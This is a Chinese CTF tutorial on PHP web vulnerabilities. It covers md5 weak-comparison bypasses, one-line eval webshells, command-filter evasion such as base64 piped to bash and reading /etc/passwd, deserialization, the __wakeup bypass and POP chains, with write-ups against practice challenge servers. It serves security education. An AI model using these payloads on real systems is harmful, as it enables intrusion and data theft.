一些推荐文章:PHP 入门基础漏洞 | Drunkbaby’s Blog (drun1baby.top)

传参

web传参有GET和POST两种请求方法向服务器提交数据。

GET传参

GET传参直接在网址后/?后接参数即可,例如传入一个a=1的参数就可以127.0.0.1/?a=1

多个参数之间加&连接符。

POST传参

POST传参可以使用hackbar工具。

最新版的hackbar已经开始收费了,网上随便找一个旧版的装上完事。

先Load URL之后勾选Post data,在弹出的新框中输入要POST传入的参数即可。输入之后点Execute即可。

练习

题目来自[SWPUCTF 2021 新生赛]jicao:

url里GET传参,传完再hackbar用POST传参,比较简单:

PHP基本函数和操作

PHP中的->是一种操作符,用来访问对象的属性或者方法。

如果这里我们有一个$obj对象,且这个对象有一个名字为property的属性和一个名为method的方法,可以使用$obj->property;访问属性,使用$obj->method();来调用方法。

file_get_contents():读取文件的全部内容到一个字符串。例如:$content = file_get_contents("test.txt");

var_dump():输出返回值。

isset():用于检测变量是否已经设置并且非NULL。

如果在isset()中一次传入多个参数,例如isset($a, $b),那么只有在全部参数都被设置时才返回True。

include(): 导入并执行指定的 PHP 文件。例如:include('config.php'); 会导入并执行 config.php 文件中的代码。

extract():用于从数组中将变量导出,例如extract($_GET);即可得到我们GET请求中传入的一些变量。

trim():移除字符串两侧的字符:

1
2
3
4
5
6
7
8
9
<?php
$str = "Hello World!";
echo $str . PHP_EOL;
echo trim($str, "Hed!");

/*
Hello World!
llo Worl
*/

ereg/preg_match():正则表达式匹配。

eval():识别并执行字符串中的PHP代码。

assert():调试检查一个条件是否为true。

strcmp():用法:

1
2
3
4
5
6
7
8
9
10
11
12
strcmp(str1, str2)
if(str1 < str2) {
return < 0;
}

else if (str1 > str2) {
return > 0;
}

else {
return 0;
}

system(), shell_exec(), exec(), passthru():执行外部程序或者系统命令。如system("ls")执行ls命令并且输出。

unserialize():将一个已序列化的字符串转换回PHP值。如$array = unserialize($serializedStr); 可以将一个序列化的数组字符串转换为数组。

preg_replace():执行正则表达式搜索和替换。如:$newStr = preg_replace("/apple/i", "orange", $str); 会将 $str 中的 “apple” 替换为 “orange”。

create_function():创建匿名lambda函数。如:$func = create_function('$x', 'return $x + 1;');

error_reporting(0); :PHP 将不会报告任何级别的错误。

show_source(__FILE__);:显示文件的源代码。

md5碰撞和强弱比较

之前已经简单了解了强比较===和弱比较==,先简单提一下md5的几个重要性质:

md5不可逆,加密简单还原困难;由于密文空间有限,存在两串不同的字符串加密出来的内容相同。

php进行字符串和数字的弱比较时会进行如下步骤:

先看字符串开头是否为数字,如果是数字的话截止到连续数字后的最后一个数字,作为值去和数字比较,所以可以认为'123abc123'==123为True。

如果开头不是数字的话,直接判定为False,也就是0,有'abc123'==0为True。

php进行字符串和字符串的弱比较时直接比较字符串是不是相同的,有'123a'=='123'为false,但如果字符串能被解析为科学计数法,且为0e...的形式(也就是0的多少次方,相当于0),那么比较它们的数值,是相等的。

0e12345==0e3456为True。

这里需要注意0e后不能存在字母,因为这样就构不成科学计数法,还是判定为false。

一些md5值为0e的字符串和对应的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
240610708
0e462097431906509019562988736854

题目中常见的形式就是如下形式:

1
2
3
4
5
6
<?php
define('FLAG', 'flag{123}');
if (($_GET['s1']) != $_GET['s2'] && md5($_GET['s1']) == $_GET['s2']) {
echo "success, flag is :" . FLAG;
}
?>

当s1和s2不相等,但是他们的md5值相等,可以有两种绕过:

科学计数法绕过

随便找两组能构成0e开头的组成payload即可:

1
/?s1=QNKCDZO&s2=240610708

数组trick

在比较md5时,如果我们传入了一个数组[],md5无法加密数组,所以返回值为Null。可以利用这个特性来进行弱比较。

数组绕过:

1
/?s1[]=1&s2[]=2

strcmp绕过

前面简单提了一嘴strcmp的用法:

1
2
3
4
5
6
7
8
9
10
11
12
strcmp(str1, str2)
if(str1 < str2) {
return < 0;
}

else if (str1 > str2) {
return > 0;
}

else {
return 0;
}

对于某代码:

1
2
3
4
5
6
7
8
<?php

define('FLAG', 'flag{123}');
if (strcmp($_GET['flag'], FLAG) == 0) {
echo "success, flag:" . FLAG;
}

?>

这里我们需要使得strcmp的返回值为0,在定义函数中发现当str1和str2两个参数相等的时候能返回0。

但是实际中我们并不知道FLAG的值,所以还有一种方法,就是使得strcmp()返回值NULL,返回NULL就是返回0,即可得到flag。

这里有一个payload:

1
?flag[]=0

?flag[]=0 指传入一个flag数组,数组无法和字符串比较,返回NULL,得到flag。

extract覆盖变量绕过

例如如下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

$flag='xxx';
extract($_GET);
if(isset($shiyan)) {
$content=trim(file_get_contents($flag));
if($shiyan==$content) {
echo'ctf{xxx}';
}
else {
echo'Oh.no';
}
}

?>

发现$shiyanextract($_GET);我们传入的参数,要让$shiyan==$content,注意到$content来自于file_get_contents($flag),但是在extract中我们可以二次传入一个$flag变量,使得查找不到其对应的文件,使得$content为空,再传入一个空的$shiyan即可:

1
/?flag=123&shiyan=

trim过滤绕过

trim如果不指定第二个参数,那么将自动去除:

0x20(空格)

0x09(制表符\t

0x0A(换行符\n

0x0D(回车符\r

0x00(空字节符\0

0x0B(垂直制表符\x0B

但是还剩余一个%0c(\f)没有过滤,可以进行绕过。

RCE远程命令执行

相关函数

命令执行

system("whoami");passthru("whoami")shell_exec("whoami"):执行命令,有回显。

注意到反引号也是一种函数操作,等同于shell_exec,当shell_exec被禁用,那么反引号也不能用:

1
2
3
<?php
echo `whoami`;
?>

echo exec("whoami");:执行命令,无回显,需要echo。

popen()需要两个参数:

1
2
3
4
5
6
7
8
9
10
11
12
<?php popen( 'whoami >> c:/1.txt', 'r' ); ?>

<?php
$test = "ls /tmp/test";
$fp = popen($test,"r"); //popen打一个进程通道

while (!feof($fp)) { //从通道里面取得东西
$out = fgets($fp, 4096);
echo $out; //打印出来
}
pclose($fp);
?>

proc_open()相比起popen,可以提供双向的通道:

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
$test = "ipconfig";
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("pipe","w") //标准输出错误
);

$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>

代码注入

默认以下代码的菜刀连接密码全部为cmd。

eval():可以将参数内容转换为php代码并执行,例如:

1
2
3
<?php @eval($_POST['cmd']);?>

// cmd=system(whoami);

assert():不需要分号结尾:

1
2
3
<?php @assert($_POST['cmd'])?>

// cmd=system(whoami)

preg_replace()

这个函数将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。

e 标志告诉 preg_replace() 函数将替换字符串视为一个返回字符串的 PHP 代码片段。

1
2
3
//preg_replace('正则规则','替换字符','目标字符')

preg_replace("/test/e",$_POST["cmd"],"jutst test");

create_function():创建匿名函数。

1
2
$func =create_function('',$_POST['cmd']);
$func();

绕过方式

在远程代码执行中,很多时候会通过一些手段阻止我们,需要一些绕过方式:

空格绕过

1
$IFS、${IFS}、$IFS$9、%09、<、>、<>、{,}(例如{cat,/etc/passwd} )、%20(space)、%09(tab)

命令执行函数system()绕过

1
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec() 反引号

同样,其他函数也可以用这些进行绕过。

代码执行函数绕过

1
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

命令连接符

cmd1 | cmd2 只执行cmd2。

cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行。

cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2。

cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2。

在Linux下,还支持分号,cmd1;cmd2 按顺序依次执行,先执行cmd1再执行cmd2。

正则匹配绕过

对于命令cat /etc/passwd,绕过cat

利用变量:

1
2
3
a=c;b=a;c=t;

$a$b$c /etc/passwd

利用base编码:

1
2
3
echo 'Y2F0wqAK' | base64 -d` /etc/passwd

echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash

利用hex:

1
echo "636174202F6574632F706173737764" | xxd -r -p | bash

利用八进制绕过(绕过ls):

1
$(printf "\154\163")

利用16进制编码:"\x73\x79\x73\x74\x65\x6d"cat /etc/passwd

过滤关键字绕过

替代:

1
2
3
4
5
6
7
8
9
10
11
12
13
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

转义:

1
2
ca\t /fl\ag
cat fl''ag

此外,转义符还有\n\r\t\v\a\b\f\e

PHP反序列化

序列化和反序列化是两种数据处理方式。

序列化 是将 PHP 对象转换为字符串的过程,可以使用 serialize() 函数来实现。该函数将对象的状态以及它的类名和属性值编码为一个字符串。序列化后的字符串可以存储在文件中,存储在数据库中,或者通过网络传输到其他地方。

反序列化 是将序列化后的字符串转换回 PHP 对象的过程,可以使用 unserialize() 函数来实现。该函数会将序列化的字符串解码,并将其转换回原始的 PHP 对象。

序列化的目的是方便数据的存储,在 PHP 中,他们常被用到缓存、session、cookie 等地方。

数组反序列化

print_r 用于打印数组或对象的结构,它以一种更易读的方式展示数组或对象的内部结构。

对于某数组:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$array = array('apple', 'banana', 'cherry');
print_r($array);

/*
Array
(
[0] => apple
[1] => banana
[2] => cherry
)
*/

对其进行序列化:

1
2
3
4
5
6
7
<?php
$array = array('apple', 'banana', 'cherry');
$array = serialize($array);

echo ($array . "\n");

// a:3:{i:0;s:5:"apple";i:1;s:6:"banana";i:2;s:6:"cherry";}

参数输出:

a:3:中的a表示这是一个数组,后面的值3表示这个数组中有3个元素。

i:0;表示这是数组的第一个元素,索引为0。

s:5:表示这是一个长度为5的字符串,后接实际内容。

剩下的同理。

对象反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class User
{
public $name;

public function __construct($name)
{
$this->name = $name;
}
}

$user = new User('John');

$seri = serialize($user);
echo $seri . "\n";

// O:4:"User":1:{s:4:"name";s:4:"John";}

O表示Object。

"User":1:表示这个User对象有一个属性,并列出。

稍作修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class User
{
public $name;

public function __construct($name)
{
$this->name = $name;
}
}

$user = new User(array('John', 'Doe'));

$seri = serialize($user);
echo $seri . "\n";

// O:4:"User":1:{s:4:"name";a:2:{i:0;s:4:"John";i:1;s:3:"Doe";}}

可以逐步拆分开来,即可理解。

当变量中带有了其他属性,例如protected等:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class User
{
public $name;
protected $email;
private $phoneNumber;
public function __construct($name, $email, $phoneNumber)
{
$this->name = $name;
$this->email = $email;
$this->phoneNumber = $phoneNumber;
}
public function getPhoneNumber()
{
echo $this->phoneNumber;
}
}

$user = new User(array('John', 'Doe'), 'admin@666.com', '114514');

$seri = serialize($user);
echo $seri . "\n";
$deseri = unserialize($seri);
print_r($deseri->name);
echo $deseri->getPhoneNumber();

/*

O:4:"User":3:{s:4:"name";a:2:{i:0;s:4:"John";i:1;s:3:"Doe";}s:8:"*email";s:13:"admin@666.com";s:17:"UserphoneNumber";s:6:"114514";}
Array
(
[0] => John
[1] => Doe
)
114514

*/

得到反序列化内容:

O:4:"User":3:{s:4:"name";a:2:{i:0;s:4:"John";i:1;s:3:"Doe";}

s:8:" * email";s:13:"admin@666.com";

s:17:" User phoneNumber";s:6:"114514";}

有以下特点:

如果是 protected 变量,则会在变量名前加上\x00*\x00空字节。

如果是 private 变量,则会在变量名前加上\x00类名\x00

实际上,我们在控制台输出的时候全部变为了不可见字符,一个方法是先编码后输出:echo urlencode($serializedData)

其他标识

积累一下在序列化中常见的一些字母标识:

a:array数组

b:bool值

C:custom object自定义对象

d:double小数

i:int整数

O:Object对象

s:string字符串

S:encoded string,类似于bytes型

N:null值

练习

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);

读完代码基本就知道要干嘛了,构造payload用get传参:/?str=s:7:%22D0g3!!!%22

魔术方法

在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用,类似于一个触发器。例如:

假设我们有一个Person类,我们想要动态地处理某些属性,而不是直接定义它们。这可以通过__get()__set()方法实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Person {
private $data = [];

public function __get($name) {
if (array_key_exists($name, $this->data)) {
return $this->data[$name];
}
return null;
}

public function __set($name, $value) {
$this->data[$name] = $value;
}
}

$p = new Person();
$p->name = "Alice"; // 调用 __set()
echo $p->name; // 调用 __get()

// 输出: Alice

常见方法:

1
2
3
4
5
6
7
8
9
10
11
__wakeup() //------ 执行unserialize()时,先会调用这个函数
__sleep() //------- 执行serialize()时,先会调用这个函数
__destruct() //---- 对象被销毁时触发
__call() //-------- 在对象上下文中调用不可访问的方法时触发
__callStatic() //-- 在静态上下文中调用不可访问的方法时触发
__get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
__set() //--------- 用于将数据写入不可访问的属性
__isset() //------- 在不可访问的属性上调用isset()或empty()触发
__unset() //------- 在不可访问的属性上使用unset()时触发
__toString() //---- 把类当作字符串使用时触发(echo)
__invoke() //------ 当尝试将对象调用为函数时触发

例如:serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。其他的魔术方法同理。

CVE-2016-7124实例:wakeup绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php 
class SoFun{
protected $file='index.php'; // 定义一个受保护的属性$file,默认值为'index.php'。
function __destruct(){
if(!empty($this->file)) { // 如果$file不为空,则执行以下操作:
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false) // 检查$file是否包含斜杠或反斜杠。
show_source(dirname (__FILE__).'/'.$this ->file); // 如果没有斜杠或反斜杠,则显示源文件的内容。
else
die('Wrong filename.'); // 否则,输出错误信息并终止脚本。
}
}
function __wakeup(){ // 当对象被反序列化时调用此方法。
$this-> file='index.php'; // 将$file重置为'index.php'。
}
public function __toString() { // 当对象被转换为字符串时调用此方法。
return ''; // 返回空字符串。
}
}

// 检测是否存在变量
if (!isset($_GET['file'])){
show_source('index.php'); // 如果URL中没有提供'file'参数,则显示当前文件(index.php)的源码。
}
else{
$file=base64_decode($_GET['file']); // 如果提供了'file'参数,则解码该参数。
echo unserialize($file); // 反序列化解码后的字符串,并将其输出。
}
?> #<!--key in flag.php-->

分析源码可以知道,在__destruct方法中可以帮助我们进行读取文件内容,需要利用它来读flag.php,需要通过反序列化得到flag.php改file,但是使用反序列化会触发__wakeup()改回index.php,需要想办法绕过这个魔术方法。

这里用到漏洞CVE-2016-7124,大意是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行

正常来讲,我们需要构造的序列化对象为O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}(注意protected变量需要加\00*\00

为了绕过wakeup,使得对象属性数大于真实的数即可,在我们构造的序列化对象中修改为:O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}

此外,题目还套了一层base64编码,再加上即可。payload:/?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

再来一个例题:[SWPUCTF 2021 新生赛]no_wakeup:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __wakeup(){
$this->passwd = sha1($this->passwd);
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

先构造出它的序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php


class HaHaHa
{


public $admin;
public $passwd;

public function __construct()
{
$this->admin = "admin";
$this->passwd = "wllm";
}
}

$a = new HaHaHa();
echo serialize($a);

# O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

修改对象属性个数传参,得到flag:

1
/?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

PHP session反序列化

什么是session?

session是保存在服务器的文本文件。 默认情况下,PHP.ini 中设置的 SESSION 保存方式是 files(session.save_handler = files),即使用读写文件的方式保存 SESSION 数据,而 SESSION 文件保存的目录由 session.save_path 指定,文件名以 sess_ 为前缀,后跟 SESSION ID,如:sess_c72665af28a8b14c0fe11afe3b59b51b。

文件中的数据都是序列化后的 SESSION 数据了。

PHP.ini中的几个参数:

session.save_path:设置session的存储路径。
session.save_handler:设定用户自定义存储函数。
session.auto_start:指定会话模块是否在请求开始时启动一个会话。
session.serialize_handler:定义用来序列化/反序列化的处理器名字,默认使用php引擎(也表示为files,表示为键名+竖线+serialize反序列处理的值),此外,还有两种引擎:

php_binary:键名长度对应ASCII字符+键名+经过serialize反序列处理的值

php_serialize:serialize反序列处理数组

注意php大于5.5.4的版本中默认使用php_serialize规则。

存储机制

我们首先可以使用phpinfo()查看我们的php信息:

1
2
3
session.save_handler => files => files
session.save_path => D:\phpstudy_pro\Extensions\tmp\tmp => D:\phpstudy_pro\Extensions\tmp\tmp
session.serialize_handler => php_serialize => php

举例:

1
2
3
4
5
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['name'] = 'twosmi1e';

通过修改不同的引擎,可以得到三种不同的输出,查找文件可以分别找到这三种session:

1
2
3
name|s:8:"twosmi1e";
names:8:"twosmi1e";
a:1:{s:4:"name";s:8:"twosmi1e";}

当序列化和反序列化使用了不同的引擎,可以利用引擎之间的差异来产生序列化注入攻击。

POP链

POP是面向属性编程(Property-Oriented Programing)的意思,用于构造特定调用链,对应的在二进制中有ROP面向返回编程(Return-Oriented Programing)。

核心内容就是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。

POP链在构造时需要牵扯到PHP的魔法函数,这里再回顾一遍:

1
2
3
4
5
6
7
8
9
10
11
__wakeup() //------ 执行unserialize()时,先会调用这个函数
__sleep() //------- 执行serialize()时,先会调用这个函数
__destruct() //---- 对象被销毁时触发
__call() //-------- 在对象上下文中调用不可访问的方法时触发
__callStatic() //-- 在静态上下文中调用不可访问的方法时触发
__get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
__set() //--------- 用于将数据写入不可访问的属性
__isset() //------- 在不可访问的属性上调用isset()或empty()触发
__unset() //------- 在不可访问的属性上使用unset()时触发
__toString() //---- 把类当作字符串使用时触发(echo)
__invoke() //------ 当尝试将对象调用为函数时触发

POP链构造需要找到头和尾,即用户能传入参数的地方和最终执行函数方法的地方,然后进行反推,一步步找到能触发上一步的地方,直到找到传参处,就能得到一条完整的POP链了。

在CTF中,尾部一般是get flag的方法,头部一般就是GET或POST传参。

通常,构造POP链的一个比较普遍的步骤是:

复制源代码到本地;

注释掉(删除)和属性无关的内容

根据题目需要,给属性赋值;

生成反序列化数据,通常需要url编码;

传递数据到服务器。

举个例子,[SWPUCTF 2021 新生赛]pop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'aaa';
protected $passwd = '123456';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

根据方法,我们首先先注释掉所有和属性无关的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

class w44m
{

private $admin = 'aaa';
protected $passwd = '123456';
}

class w22m
{
public $w00m;
}

class w33m
{
public $w00m;
public $w22m;
}

接下来需要给属性赋值,从后往前看:

w44m里有一个getflag方法可以得到flag,需要最终调用到这个方法,这就是我们链子的尾部。

如何去调用这个方法?

注意到在w33m里有一个$this->w00m->{$this->w22m}();,这个写法不难看出会调用函数,这里的$w00m是w33m里面的一个属性,可以给它赋为w44m类对象,然后给w22m赋一个getflag函数即可,即为实现$this->w00m->Getflag();

那么又该怎么调用w33m类?

__toString()这个方法在对象被当做字符串使用时被调用,w33m刚好就有这个方法,w22m里存在一个__destruct()方法,里面存在一个echo,它作用的对象就是一个字符串,所以我们创建一个w22m对象,给w22m里的$w00m赋为w33m类对象,由于存在__destruct(),它在程序结束前肯定会被调用,echo字符串刚好又触发了w33m的__toString(),即调用成功。

以下是根据分析得到的赋值后的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class w44m
{

private $admin = 'w44m';
protected $passwd = '08067';
}

class w22m
{
public $w00m;
}

class w33m
{
public $w00m;
public $w22m;
}

$p = new w22m();
$p->w00m = new w33m();
$p->w00m->w00m = new w44m();
$p->w00m->w22m = 'Getflag';
echo urlencode(serialize($p));

注意带有私有属性的会有不可见字符,最好还是直接url编码一下。

传参,得到flag。

1
/?w00m=O%3A4%3A"w22m"%3A1%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w33m"%3A2%3A%7Bs%3A4%3A"w00m"%3BO%3A4%3A"w44m"%3A2%3A%7Bs%3A11%3A"%00w44m%00admin"%3Bs%3A4%3A"w44m"%3Bs%3A9%3A"%00%2A%00passwd"%3Bs%3A5%3A"08067"%3B%7Ds%3A4%3A"w22m"%3Bs%3A7%3A"Getflag"%3B%7D%7D

题目复现

easy_md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php 
highlight_file(__FILE__);
include 'flag2.php';

if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}

}
else {
echo 'wrong!';
}
?>
//wrong!

题目提到GET传入一个name和POST传入一个password,两个值应该是不同的但是他们的md5值弱比较相等,可以直接传入两个哈希值为0e的进去比较。

注意在php语法里传入字符串不需要加引号了,直接name=s214587387a即可,

不过一个比较容易的方法是用数组去比较:

1
2
http://node7.anna.nssctf.cn:27413/?name[]=0
password[]=1

easyrce

1
2
3
4
5
6
7
8
 <?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>

题目让传入一个叫url的参数,然后可以进行eval,尝试用system()执行命令,注意这里是php语法,所以语句末尾还需要加分号。

1
2
3
http://node5.anna.nssctf.cn:29173/?url=system(%27ls%20/%27);

bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

发现根目录下存在一个flllllaaaaaaggggggg文件,直接cat出来:

1
2
3
http://node5.anna.nssctf.cn:29173/?url=system(%27cat%20/flllllaaaaaaggggggg%27);

NSSCTF{f1bcc985-906a-4947-8c7c-8a06501a7ba7}

ez_unserialize

取自SWPUCTF 2021 新生赛:

打开发现啥也没有,在F12里发现了一个注释:

1
2
3
4
<!--
User-agent: *
Disallow: 什么东西呢?
-->

这个提示摆着是要看robots.txt

发现存在一个隐藏的php文件,查看得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

public $admin;
public $passwd;

public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}

public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}

$p = $_GET['p'];
unserialize($p);

?>

这是一个反序列化问题,需要传入一个admin=admin&passwd=ctf这么个序列化内容。注意到这题存在一个__construct在对象被创建时调用这个方法,跟unserialize()没有关系,__destruct()在对象被销毁(内存清除前)调用这个方法。

所以直接传入反序列化内容即可得到flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class wllm
{
public $admin;
public $passwd;

public function __construct($admin, $passwd)
{
$this->admin = $admin;
$this->passwd = $passwd;
}
}

$user = new wllm('admin', 'ctf');

$seri = serialize($user);
echo $seri . "\n";
1
/?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;}

babyrce

取自SWPUCTF 2021 新生赛

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?>小饼干最好吃啦!

需要设置一个Cookie,设置cookie有很多方法,现在列举一下:

hackbar提供了直接传入cookie的功能:

或者Burp抓包自己补一个cookie进去:

1
2
3
4
5
6
7
8
9
GET / HTTP/1.1
Host: node5.anna.nssctf.cn:26981
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin=1
Connection: close

再或者在F12里手动更改cookie:

发现得到了一个新的php,访问一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>

发现执行了一个$a = shell_exec($ip);,我们可以传入一个url参数,且为一个命令好让它执行。这里的preg_match就是一个过滤,会过滤掉里面的/ /

过滤空格,可以使用${IFS},继续/?url=ls${IFS}/

发现存在flag文件:

1
bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

直接cat出来:

1
/?url=cat${IFS}/flllllaaaaaaggggggg

finalrce

选自[SWPUCTF 2021 新生赛]finalrce:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}

题目对很多命令都做了过滤:

1
preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)

在这里的正则中,斜杠 / 通常用来包围整个正则表达式,在 PHP 中使用 preg_match 和其他正则表达式函数时是必需的。

结尾的/i用来不区分大小写匹配。

这里可以使用转义符/s进行绕过:

1
/?url=l\s /|tee 1.txt;

